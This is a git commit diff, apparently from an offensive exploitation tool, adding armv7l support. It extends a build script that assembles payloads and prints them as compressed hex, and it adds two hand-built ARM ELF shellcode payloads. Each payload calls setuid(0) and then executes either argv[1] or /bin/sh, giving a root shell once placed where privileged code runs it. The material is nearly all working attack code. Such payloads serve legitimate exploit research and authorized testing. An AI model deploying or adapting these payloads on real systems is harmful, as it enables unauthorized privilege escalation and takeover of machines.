feat: ✨ add support for armv7

- Updated .goreleaser.yaml to include armv7 builds.
- Added new shellcode payloads for armv7l
- Enhanced build-n-print.sh to support building payloads for armv7l architecture.
- Updated README.md with instructions for compiling payloads on Debian systems.

payloads/build-n-print.sh

@@ -25,7 +25,7 @@ if ! command -v aarch64-linux-gnu-as &> /dev/null; then
     exit 1
 fi
 
-for payload in *.S; do
+for payload in *aarch64.S; do
     # Assemble the source into an object file
     echo "[+] Building $payload"
     aarch64-linux-gnu-as $payload -o ${payload%.S}.o
@@ -34,4 +34,20 @@ for payload in *.S; do
     aarch64-linux-gnu-objcopy -O binary ${payload%.S}.o ${payload%.S}
     echo "[+] Printing $payload as hex"
     cat ${payload%.S} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())'
-done
+done
+
+if ! command -v arm-linux-gnueabihf-as &> /dev/null; then
+    echo "[!] arm-linux-gnueabihf-as could not be found. Please install binutils-arm-linux-gnueabihf"
+    exit 1
+fi
+
+for payload in *armv7l.S; do
+    # Assemble the source into an object file
+    echo "[+] Building $payload"
+    arm-linux-gnueabihf-as $payload -o ${payload%.S}.o
+    # Extract ONLY the raw bytes into a flat binary file
+    echo "[+] Extracting $payload as binary"
+    arm-linux-gnueabihf-objcopy -O binary ${payload%.S}.o ${payload%.S}
+    echo "[+] Printing $payload as hex"
+    cat ${payload%.S} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())'
+done

payloads/exec-argv1-armv7l.S

@@ -0,0 +1,53 @@
+.section .text
+.globl _start
+
+// --- 32-bit ELF Header (52 bytes) ---
+ehdr:
+    .byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF"
+    .byte 1, 1, 1, 0             // 32-bit, little-endian, version 1
+    .byte 0, 0, 0, 0, 0, 0, 0, 0
+    .short 2                     // e_type: Executable
+    .short 40                    // e_machine: ARM (0x28)
+    .int 1                       // e_version
+    .int 0x400054                // e_entry (0x400000 + 0x34 + 0x20)
+    .int 0x34                    // e_phoff (Program Header offset = 52)
+    .int 0                       // e_shoff
+    .int 0x5000400               // e_flags: EF_ARM_EABI_VER5 | EF_ARM_VFP_FLOAT
+    .short 52                    // e_ehsize
+    .short 32                    // e_phentsize
+    .short 1                     // e_phnum
+    .short 0                     // e_shentsize
+    .short 0                     // e_shnum
+    .short 0                     // e_shstrndx
+
+// --- Program Header (PT_LOAD, 32 bytes) ---
+phdr:
+    .int 1                       // p_type: PT_LOAD
+    .int 0                       // p_offset
+    .int 0x400000                // p_vaddr
+    .int 0x400000                // p_paddr
+    .int file_end - ehdr         // p_filesz
+    .int file_end - ehdr         // p_memsz
+    .int 5                       // p_flags: PF_R | PF_X
+    .int 0x10000                 // p_align
+
+// --- Payload ---
+_start:
+    // setuid(0)
+    mov  r0, #0
+    mov  r7, #23                 // SYS_setuid
+    svc  #0
+
+    // execve(argv[1], NULL, NULL)
+    ldr  r0, [sp, #8]            // r0 = argv[1]  (skip argc + argv[0], 4 bytes each)
+    mov  r1, #0                  // r1 = NULL
+    mov  r2, #0                  // r2 = NULL
+    mov  r7, #11                 // SYS_execve
+    svc  #0
+
+    // exit(0)
+    mov  r0, #0
+    mov  r7, #1                  // SYS_exit
+    svc  #0
+
+file_end:

payloads/exec-bin-sh-armv7l.S

@@ -0,0 +1,53 @@
+.section .text
+.globl _start
+
+// --- 32-bit ELF Header (52 bytes) ---
+ehdr:
+    .byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF"
+    .byte 1, 1, 1, 0             // 32-bit, little-endian, version 1
+    .byte 0, 0, 0, 0, 0, 0, 0, 0
+    .short 2                     // e_type: Executable
+    .short 40                    // e_machine: ARM (0x28)
+    .int 1                       // e_version
+    .int 0x400054                // e_entry (0x400000 + 0x34 + 0x20)
+    .int 0x34                    // e_phoff (Program Header offset = 52)
+    .int 0                       // e_shoff
+    .int 0x5000400               // e_flags: EF_ARM_EABI_VER5 | EF_ARM_VFP_FLOAT
+    .short 52                    // e_ehsize
+    .short 32                    // e_phentsize
+    .short 1                     // e_phnum
+    .short 0                     // e_shentsize
+    .short 0                     // e_shnum
+    .short 0                     // e_shstrndx
+
+// --- Program Header (PT_LOAD, 32 bytes) ---
+phdr:
+    .int 1                       // p_type: PT_LOAD
+    .int 0                       // p_offset
+    .int 0x400000                // p_vaddr
+    .int 0x400000                // p_paddr
+    .int file_end - ehdr         // p_filesz
+    .int file_end - ehdr         // p_memsz
+    .int 5                       // p_flags: PF_R | PF_X
+    .int 0x10000                 // p_align
+
+// --- Payload ---
+_start:
+    mov  r0, #0
+    mov  r7, #23                 // SYS_setuid
+    svc  #0
+
+    adr  r0, sh                  // PC-relative load of the "sh" label
+    mov  r1, #0
+    mov  r2, #0
+    mov  r7, #11                 // SYS_execve
+    svc  #0
+
+    mov  r0, #0
+    mov  r7, #1                  // SYS_exit
+    svc  #0
+
+sh:
+    .asciz "/bin/sh"             // 8 bytes (includes null terminator)
+
+file_end: